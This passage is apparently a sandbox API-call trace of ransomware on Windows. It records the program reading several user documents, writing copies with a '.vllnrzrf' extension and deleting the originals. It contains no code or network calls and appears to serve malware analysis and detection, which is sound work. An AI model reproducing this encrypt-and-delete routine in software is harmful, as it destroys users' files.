lpOldMode=0x1cf8e130) returned 1 [0097.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qrt-a.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.587] GetFileType (hFile=0x41c) returned 0x1 [0097.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.587] GetFileType (hFile=0x41c) returned 0x1 [0097.587] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x62e [0097.587] ReadFile (in: hFile=0x41c, lpBuffer=0x23be340, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x23be340*, lpNumberOfBytesRead=0x1cf8e1f8*=0x62e, lpOverlapped=0x0) returned 1 [0097.588] CloseHandle (hObject=0x41c) returned 1 [0097.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx.vllnrzrf", lpFilePart=0x0) returned 0x3b [0097.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qrt-a.docx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.592] GetFileType (hFile=0x41c) returned 0x1 [0097.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.592] GetFileType (hFile=0x41c) returned 0x1 [0097.592] WriteFile (in: hFile=0x41c, lpBuffer=0x23c5718*, nNumberOfBytesToWrite=0x82e, lpNumberOfBytesWritten=0x1cf8e108, lpOverlapped=0x0 | out: lpBuffer=0x23c5718*, lpNumberOfBytesWritten=0x1cf8e108*=0x82e, lpOverlapped=0x0) returned 1 [0097.593] CloseHandle (hObject=0x41c) returned 1 [0097.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", lpFilePart=0x0) returned 0x32 [0097.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", lpFilePart=0x0) returned 0x32 [0097.596] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qrt-a.docx")) returned 1 [0097.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", lpFilePart=0x0) returned 0x3f [0097.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", lpFilePart=0x0) returned 0x3f [0097.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", lpFilePart=0x0) returned 0x3f [0097.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t5opir4hm6dquoccuv.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.599] GetFileType (hFile=0x41c) returned 0x1 [0097.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.599] GetFileType (hFile=0x41c) returned 0x1 [0097.599] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x113ef [0097.599] ReadFile (in: hFile=0x41c, lpBuffer=0x23c7170, nNumberOfBytesToRead=0x113ef, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x23c7170*, lpNumberOfBytesRead=0x1cf8e1f8*=0x113ef, lpOverlapped=0x0) returned 1 [0097.601] CloseHandle (hObject=0x41c) returned 1 [0097.714] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx.vllnrzrf", lpFilePart=0x0) returned 0x48 [0097.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.714] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t5opir4hm6dquoccuv.pptx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.715] GetFileType (hFile=0x41c) returned 0x1 [0097.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.716] GetFileType (hFile=0x41c) returned 0x1 [0097.716] WriteFile (in: hFile=0x41c, lpBuffer=0x221f248*, nNumberOfBytesToWrite=0x115ef, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x221f248*, lpNumberOfBytesWritten=0x1cf8e258*=0x115ef, lpOverlapped=0x0) returned 1 [0097.718] CloseHandle (hObject=0x41c) returned 1 [0097.720] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", lpFilePart=0x0) returned 0x3f [0097.720] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx", lpFilePart=0x0) returned 0x3f [0097.720] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T5opIR4HM6dqUocCUV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t5opir4hm6dquoccuv.pptx")) returned 1 [0097.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", lpFilePart=0x0) returned 0x3b [0097.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", lpFilePart=0x0) returned 0x3b [0097.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", lpFilePart=0x0) returned 0x3b [0097.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uavnws2umftpek.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0097.725] GetFileType (hFile=0x45c) returned 0x1 [0097.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.725] GetFileType (hFile=0x45c) returned 0x1 [0097.725] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x2186 [0097.725] ReadFile (in: hFile=0x45c, lpBuffer=0x2231430, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x2231430*, lpNumberOfBytesRead=0x1cf8e1f8*=0x2186, lpOverlapped=0x0) returned 1 [0097.726] CloseHandle (hObject=0x45c) returned 1 [0097.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx.vllnrzrf", lpFilePart=0x0) returned 0x44 [0097.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uavnws2umftpek.xlsx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0097.789] GetFileType (hFile=0x45c) returned 0x1 [0097.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.789] GetFileType (hFile=0x45c) returned 0x1 [0097.789] WriteFile (in: hFile=0x45c, lpBuffer=0x2243ef0*, nNumberOfBytesToWrite=0x2386, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x2243ef0*, lpNumberOfBytesWritten=0x1cf8e258*=0x2386, lpOverlapped=0x0) returned 1 [0097.790] CloseHandle (hObject=0x45c) returned 1 [0097.792] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", lpFilePart=0x0) returned 0x3b [0097.792] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx", lpFilePart=0x0) returned 0x3b [0097.792] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UaVNws2umfTpEK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uavnws2umftpek.xlsx")) returned 1 [0097.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", lpFilePart=0x0) returned 0x32 [0097.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", lpFilePart=0x0) returned 0x32 [0097.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", lpFilePart=0x0) returned 0x32 [0097.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uptd3.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0097.796] GetFileType (hFile=0x45c) returned 0x1 [0097.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.796] GetFileType (hFile=0x45c) returned 0x1 [0097.796] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x125c [0097.796] ReadFile (in: hFile=0x45c, lpBuffer=0x2246df8, nNumberOfBytesToRead=0x125c, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x2246df8*, lpNumberOfBytesRead=0x1cf8e1f8*=0x125c, lpOverlapped=0x0) returned 1 [0097.797] CloseHandle (hObject=0x45c) returned 1 [0097.802] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx.vllnrzrf", lpFilePart=0x0) returned 0x3b [0097.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uptd3.pptx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0097.803] GetFileType (hFile=0x45c) returned 0x1 [0097.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.803] GetFileType (hFile=0x45c) returned 0x1 [0097.803] WriteFile (in: hFile=0x45c, lpBuffer=0x2252888*, nNumberOfBytesToWrite=0x145c, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x2252888*, lpNumberOfBytesWritten=0x1cf8e258*=0x145c, lpOverlapped=0x0) returned 1 [0097.804] CloseHandle (hObject=0x45c) returned 1 [0097.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", lpFilePart=0x0) returned 0x32 [0097.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx", lpFilePart=0x0) returned 0x32 [0097.808] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uptd3.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uptd3.pptx")) returned 1 [0097.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", lpFilePart=0x0) returned 0x3d [0097.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", lpFilePart=0x0) returned 0x3d [0097.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", lpFilePart=0x0) returned 0x3d [0097.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x1 rxypkg8eqlzux.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0097.812] GetFileType (hFile=0x45c) returned 0x1 [0097.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.812] GetFileType (hFile=0x45c) returned 0x1 [0097.812] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x72ff [0097.812] ReadFile (in: hFile=0x45c, lpBuffer=0x2254890, nNumberOfBytesToRead=0x72ff, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x2254890*, lpNumberOfBytesRead=0x1cf8e1f8*=0x72ff, lpOverlapped=0x0) returned 1 [0097.814] CloseHandle (hObject=0x45c) returned 1 [0097.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx.vllnrzrf", lpFilePart=0x0) returned 0x46 [0097.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x1 rxypkg8eqlzux.docx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0097.825] GetFileType (hFile=0x45c) returned 0x1 [0097.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.825] GetFileType (hFile=0x45c) returned 0x1 [0097.825] WriteFile (in: hFile=0x45c, lpBuffer=0x228cb30*, nNumberOfBytesToWrite=0x74ff, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x228cb30*, lpNumberOfBytesWritten=0x1cf8e258*=0x74ff, lpOverlapped=0x0) returned 1 [0097.827] CloseHandle (hObject=0x45c) returned 1 [0097.829] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", lpFilePart=0x0) returned 0x3d [0097.829] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx", lpFilePart=0x0) returned 0x3d [0097.829] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x1 rxYPKg8eQLZux.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x1 rxypkg8eqlzux.docx")) returned 1 [0098.928] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", lpFilePart=0x0) returned 0x38 [0098.929] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", lpFilePart=0x0) returned 0x38 [0098.929] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", lpFilePart=0x0) returned 0x38 [0098.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0098.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zggdiw-97j_.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0098.929] GetFileType (hFile=0x45c) returned 0x1 [0098.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0098.929] GetFileType (hFile=0x45c) returned 0x1 [0098.929] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x9e8c [0098.929] ReadFile (in: hFile=0x45c, lpBuffer=0x2294c10, nNumberOfBytesToRead=0x9e8c, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x2294c10*, lpNumberOfBytesRead=0x1cf8e1f8*=0x9e8c, lpOverlapped=0x0) returned 1 [0098.930] CloseHandle (hObject=0x45c) returned 1 [0098.943] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx.vllnrzrf", lpFilePart=0x0) returned 0x41 [0098.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0098.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zggdiw-97j_.xlsx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0098.944] GetFileType (hFile=0x45c) returned 0x1 [0098.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0098.944] GetFileType (hFile=0x45c) returned 0x1 [0098.944] WriteFile (in: hFile=0x45c, lpBuffer=0x22e10c8*, nNumberOfBytesToWrite=0xa08c, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x22e10c8*, lpNumberOfBytesWritten=0x1cf8e258*=0xa08c, lpOverlapped=0x0) returned 1 [0098.946] CloseHandle (hObject=0x45c) returned 1 [0098.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", lpFilePart=0x0) returned 0x38 [0098.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx", lpFilePart=0x0) returned 0x38 [0098.948] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zGgdIW-97J_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zggdiw-97j_.xlsx")) returned 1 [0098.951] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", lpFilePart=0x0) returned 0x40 [0098.951] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", lpFilePart=0x0) returned 0x40 [0098.951] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", lpFilePart=0x0) returned 0x40 [0098.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0098.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx" (normalized: 